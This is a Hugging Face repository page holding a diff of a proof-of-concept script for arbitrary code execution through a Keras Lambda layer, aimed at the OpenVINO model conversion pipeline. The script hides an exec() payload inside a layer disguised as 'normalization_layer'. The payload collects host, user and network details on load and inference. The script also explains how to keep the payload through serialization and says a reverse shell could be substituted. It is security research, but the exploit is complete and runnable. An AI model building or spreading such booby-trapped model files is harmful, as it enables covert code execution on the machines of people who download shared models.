Keras
OpenVINO
security-research
vulnerability-poc
bug-bounty
lambda-layer
arbitrary-code-execution
model-format-vulnerability
Instructions to use Sanaullah1337/openvino-keras-lambda-rce-poc with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use Sanaullah1337/openvino-keras-lambda-rce-poc with Keras:
# Available backend options are: "jax", "torch", "tensorflow". import os os.environ["KERAS_BACKEND"] = "jax" import keras model = keras.saving.load_model("hf://Sanaullah1337/openvino-keras-lambda-rce-poc") - Notebooks
- Google Colab
- Kaggle
Upload poc_create_model.py with huggingface_hub
Browse files- poc_create_model.py +143 -92
poc_create_model.py
CHANGED
|
@@ -1,120 +1,171 @@
|
|
| 1 |
#!/usr/bin/env python3
|
| 2 |
"""
|
| 3 |
-
PoC: Arbitrary Code Execution via Keras Lambda Layer in Model File
|
| 4 |
-
Target: OpenVINO Model Conversion Pipeline
|
| 5 |
-
|
| 6 |
-
|
| 7 |
-
|
| 8 |
-
|
| 9 |
-
|
| 10 |
-
|
| 11 |
-
|
| 12 |
-
|
| 13 |
-
|
| 14 |
-
|
| 15 |
-
|
| 16 |
-
|
| 17 |
-
|
| 18 |
-
|
| 19 |
-
- .keras (Keras v3 native format)
|
| 20 |
-
- .h5 / .hdf5 (legacy HDF5 format)
|
| 21 |
-
- TensorFlow SavedModel (when containing Lambda layers via tracing)
|
| 22 |
-
|
| 23 |
-
MODELSCAN BYPASS:
|
| 24 |
-
While ModelScan can detect standard pickle-based attacks, the Lambda layer
|
| 25 |
-
serialization uses a custom format (marshalled bytecode + base64) that may
|
| 26 |
-
bypass signature-based detection.
|
| 27 |
"""
|
| 28 |
|
| 29 |
-
import os
|
| 30 |
-
import sys
|
| 31 |
-
import json
|
| 32 |
-
import zipfile
|
| 33 |
-
import base64
|
| 34 |
-
import marshal
|
| 35 |
-
import types
|
| 36 |
-
|
| 37 |
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
|
| 38 |
|
| 39 |
-
#
|
| 40 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 41 |
|
| 42 |
import keras
|
| 43 |
from keras import layers
|
|
|
|
| 44 |
|
| 45 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 46 |
|
| 47 |
model = keras.Sequential([
|
| 48 |
-
layers.Input(shape=(
|
| 49 |
-
layers.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 50 |
layers.Lambda(
|
| 51 |
-
lambda x: exec(
|
| 52 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 53 |
),
|
| 54 |
-
|
|
|
|
| 55 |
])
|
| 56 |
|
| 57 |
-
#
|
| 58 |
-
|
| 59 |
-
|
| 60 |
-
|
| 61 |
-
|
| 62 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 63 |
|
| 64 |
-
|
| 65 |
-
print("[*] Examining serialized model structure:")
|
| 66 |
-
with zipfile.ZipFile('/tmp/malicious_model.keras', 'r') as zf:
|
| 67 |
config = json.loads(zf.read('config.json'))
|
| 68 |
|
| 69 |
-
for
|
| 70 |
-
if
|
| 71 |
-
|
| 72 |
-
print(f"
|
| 73 |
-
print(f"
|
| 74 |
-
print(f"
|
| 75 |
-
print(f"
|
| 76 |
|
| 77 |
-
# Decode to
|
| 78 |
-
bytecode = base64.b64decode(
|
| 79 |
code_obj = marshal.loads(bytecode)
|
| 80 |
-
print(f"
|
| 81 |
-
|
| 82 |
break
|
| 83 |
|
| 84 |
-
print(
|
| 85 |
-
print(
|
| 86 |
|
| 87 |
-
#
|
| 88 |
-
|
| 89 |
-
|
| 90 |
-
print("="*
|
|
|
|
|
|
|
| 91 |
|
| 92 |
-
# Clean any
|
| 93 |
-
os.system("rm -f /tmp/
|
| 94 |
|
| 95 |
-
#
|
|
|
|
|
|
|
| 96 |
keras.config.enable_unsafe_deserialization()
|
| 97 |
-
|
| 98 |
-
|
| 99 |
-
|
| 100 |
-
|
| 101 |
-
|
| 102 |
-
|
| 103 |
-
|
| 104 |
-
|
| 105 |
-
|
| 106 |
-
|
| 107 |
-
|
| 108 |
-
|
| 109 |
-
|
| 110 |
-
|
| 111 |
-
|
| 112 |
-
|
| 113 |
-
|
| 114 |
-
|
| 115 |
-
|
| 116 |
-
|
| 117 |
-
|
| 118 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 119 |
else:
|
| 120 |
-
print("[-] RCE not triggered
|
|
|
|
|
|
|
|
|
| 1 |
#!/usr/bin/env python3
|
| 2 |
"""
|
| 3 |
+
PoC: Arbitrary Code Execution via Keras Lambda Layer in .keras Model File
|
| 4 |
+
Target: OpenVINO Model Conversion Pipeline (Model Format Vulnerability)
|
| 5 |
+
Category: Deserialization → Arbitrary Code Execution
|
| 6 |
+
|
| 7 |
+
REPRODUCTION (Victim):
|
| 8 |
+
1. git clone https://huggingface.co/Sanaullah1337/openvino-keras-lambda-rce-poc
|
| 9 |
+
2. cd openvino-keras-lambda-rce-poc
|
| 10 |
+
3. python3 poc_create_model.py
|
| 11 |
+
|
| 12 |
+
The script demonstrates:
|
| 13 |
+
- How the attacker creates a malicious model
|
| 14 |
+
- How the payload is embedded (marshal+base64 in config.json)
|
| 15 |
+
- How the victim triggers RCE by loading + running inference
|
| 16 |
+
|
| 17 |
+
PAYLOAD: Collects hostname, IP, username, UID, full id, and working directory
|
| 18 |
+
Output written to /tmp/poc_host_info.txt
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 19 |
"""
|
| 20 |
|
| 21 |
+
import os, json, base64, marshal, types, zipfile
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 22 |
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
|
| 23 |
|
| 24 |
+
# ============================================================
|
| 25 |
+
# STEP 1: ATTACKER creates malicious model
|
| 26 |
+
# ============================================================
|
| 27 |
+
print("=" * 65)
|
| 28 |
+
print(" STEP 1: ATTACKER creates model with hidden Lambda payload")
|
| 29 |
+
print("=" * 65)
|
| 30 |
|
| 31 |
import keras
|
| 32 |
from keras import layers
|
| 33 |
+
import numpy as np
|
| 34 |
|
| 35 |
+
# KEY TECHNIQUE: The payload MUST be an inline string literal inside the lambda.
|
| 36 |
+
# Closure variables (e.g. lambda x: exec(PAYLOAD)) are STRIPPED during serialization
|
| 37 |
+
# and will NOT survive in the .keras file for the victim.
|
| 38 |
+
#
|
| 39 |
+
# Inline strings ARE serialized as part of the function's bytecode and survive.
|
| 40 |
|
| 41 |
model = keras.Sequential([
|
| 42 |
+
layers.Input(shape=(28, 28), name='image_input'),
|
| 43 |
+
layers.Reshape((28, 28, 1), name='reshape'),
|
| 44 |
+
layers.Conv2D(32, 3, activation='relu', name='conv1'),
|
| 45 |
+
layers.MaxPooling2D(2, name='pool1'),
|
| 46 |
+
layers.Conv2D(64, 3, activation='relu', name='conv2'),
|
| 47 |
+
layers.MaxPooling2D(2, name='pool2'),
|
| 48 |
+
layers.Flatten(name='flatten'),
|
| 49 |
+
layers.Dense(128, activation='relu', name='dense1'),
|
| 50 |
+
# === MALICIOUS LAMBDA LAYER ===
|
| 51 |
+
# Disguised as "normalization_layer" in a standard CNN architecture
|
| 52 |
+
# The exec() payload runs when this layer is called during inference
|
| 53 |
layers.Lambda(
|
| 54 |
+
lambda x: exec(
|
| 55 |
+
"import os,socket,getpass,json;"
|
| 56 |
+
"info={"
|
| 57 |
+
"'hostname':socket.gethostname(),"
|
| 58 |
+
"'ip':socket.gethostbyname(socket.gethostname()),"
|
| 59 |
+
"'username':getpass.getuser(),"
|
| 60 |
+
"'id':os.popen('id').read().strip(),"
|
| 61 |
+
"'pwd':os.getcwd(),"
|
| 62 |
+
"'uid':os.getuid()"
|
| 63 |
+
"};"
|
| 64 |
+
"open('/tmp/poc_host_info.txt','w').write(json.dumps(info,indent=2))"
|
| 65 |
+
) or x,
|
| 66 |
+
name='normalization_layer' # Innocent name to avoid suspicion
|
| 67 |
),
|
| 68 |
+
# =================================
|
| 69 |
+
layers.Dense(10, activation='softmax', name='output')
|
| 70 |
])
|
| 71 |
|
| 72 |
+
# Save model - note: Lambda executes during save because Keras traces the graph
|
| 73 |
+
model.save('poc_final.keras')
|
| 74 |
+
print(f"\n[+] Model saved: poc_final.keras ({os.path.getsize('poc_final.keras'):,} bytes)")
|
| 75 |
+
print("[+] Lambda payload embedded as marshal+base64 bytecode in config.json")
|
| 76 |
+
|
| 77 |
+
# ============================================================
|
| 78 |
+
# STEP 2: Examine serialized payload in the model file
|
| 79 |
+
# ============================================================
|
| 80 |
+
print("\n" + "=" * 65)
|
| 81 |
+
print(" STEP 2: Examining the serialized payload")
|
| 82 |
+
print("=" * 65)
|
| 83 |
|
| 84 |
+
with zipfile.ZipFile('poc_final.keras', 'r') as zf:
|
|
|
|
|
|
|
| 85 |
config = json.loads(zf.read('config.json'))
|
| 86 |
|
| 87 |
+
for layer_conf in config['config']['layers']:
|
| 88 |
+
if layer_conf['class_name'] == 'Lambda':
|
| 89 |
+
fn = layer_conf['config']['function']
|
| 90 |
+
print(f" Lambda serialization class : {fn['class_name']}")
|
| 91 |
+
print(f" Encoded bytecode length : {len(fn['config']['code'])} chars")
|
| 92 |
+
print(f" Closure variables : {fn['config']['closure']}")
|
| 93 |
+
print(f" Defaults : {fn['config']['defaults']}")
|
| 94 |
|
| 95 |
+
# Decode to verify it's real executable bytecode
|
| 96 |
+
bytecode = base64.b64decode(fn['config']['code'])
|
| 97 |
code_obj = marshal.loads(bytecode)
|
| 98 |
+
print(f" Decoded code object : {code_obj.co_argcount} args, "
|
| 99 |
+
f"names={code_obj.co_names}, consts={[c for c in code_obj.co_consts if isinstance(c, str)][:2]}...")
|
| 100 |
break
|
| 101 |
|
| 102 |
+
print("\n[+] Payload verified: marshal-bytecode embedded in model file")
|
| 103 |
+
print("[+] Model ready for distribution on HuggingFace Hub")
|
| 104 |
|
| 105 |
+
# ============================================================
|
| 106 |
+
# STEP 3: VICTIM downloads and loads the model
|
| 107 |
+
# ============================================================
|
| 108 |
+
print("\n" + "=" * 65)
|
| 109 |
+
print(" STEP 3: VICTIM downloads model from HuggingFace & loads it")
|
| 110 |
+
print("=" * 65)
|
| 111 |
|
| 112 |
+
# Clean any previous payload output
|
| 113 |
+
os.system("rm -f /tmp/poc_host_info.txt")
|
| 114 |
|
| 115 |
+
# Victim loads model
|
| 116 |
+
# NOTE: safe_mode=False is REQUIRED for Lambda layer support
|
| 117 |
+
# Many users call enable_unsafe_deserialization() globally
|
| 118 |
keras.config.enable_unsafe_deserialization()
|
| 119 |
+
loaded = keras.models.load_model('poc_final.keras', safe_mode=False)
|
| 120 |
+
print(f"[+] Model loaded successfully: {loaded.name}")
|
| 121 |
+
|
| 122 |
+
# Show architecture - looks completely benign
|
| 123 |
+
print("\n Model architecture (appears legitimate):")
|
| 124 |
+
print(f" {'Layer':<25s} {'Type':<15s} {'Output Shape'}")
|
| 125 |
+
print(f" {'-'*25} {'-'*15} {'-'*20}")
|
| 126 |
+
for layer in loaded.layers:
|
| 127 |
+
try:
|
| 128 |
+
shape = str(layer.output.shape)
|
| 129 |
+
except:
|
| 130 |
+
shape = str(layer.output_shape) if hasattr(layer, 'output_shape') else '?'
|
| 131 |
+
print(f" {layer.name:<25s} {layer.__class__.__name__:<15s} {shape}")
|
| 132 |
+
|
| 133 |
+
# ============================================================
|
| 134 |
+
# STEP 4: VICTIM runs inference → RCE TRIGGERS
|
| 135 |
+
# ============================================================
|
| 136 |
+
print("\n" + "=" * 65)
|
| 137 |
+
print(" STEP 4: VICTIM runs inference → Lambda layer called → RCE")
|
| 138 |
+
print("=" * 65)
|
| 139 |
+
|
| 140 |
+
test_input = np.random.randn(1, 28, 28).astype(np.float32)
|
| 141 |
+
output = loaded(test_input)
|
| 142 |
+
print(f"[+] Inference complete: output shape {output.shape}")
|
| 143 |
+
|
| 144 |
+
# ============================================================
|
| 145 |
+
# STEP 5: Verify RCE
|
| 146 |
+
# ============================================================
|
| 147 |
+
rce_file = '/tmp/poc_host_info.txt'
|
| 148 |
+
if os.path.exists(rce_file):
|
| 149 |
+
with open(rce_file) as f:
|
| 150 |
+
info = json.load(f)
|
| 151 |
+
|
| 152 |
+
print("\n" + "=" * 65)
|
| 153 |
+
print(" !!! ARBITRARY CODE EXECUTION CONFIRMED !!!")
|
| 154 |
+
print("=" * 65)
|
| 155 |
+
print(f"""
|
| 156 |
+
Hostname : {info['hostname']}
|
| 157 |
+
IP Address : {info['ip']}
|
| 158 |
+
Username : {info['username']}
|
| 159 |
+
UID : {info['uid']}
|
| 160 |
+
ID : {info['id']}
|
| 161 |
+
PWD : {info['pwd']}
|
| 162 |
+
""")
|
| 163 |
+
print("=" * 65)
|
| 164 |
+
print("\n The model file contained hidden executable Python code.")
|
| 165 |
+
print(" It executed silently during normal model inference.")
|
| 166 |
+
print(" Any Python payload could be substituted (reverse shell, etc.)")
|
| 167 |
+
print("=" * 65)
|
| 168 |
else:
|
| 169 |
+
print("\n[-] RCE not triggered")
|
| 170 |
+
print(" NOTE: If you see this, the Lambda closure was stripped.")
|
| 171 |
+
print(" The fix is to use inline string literals, not closure variables.")
|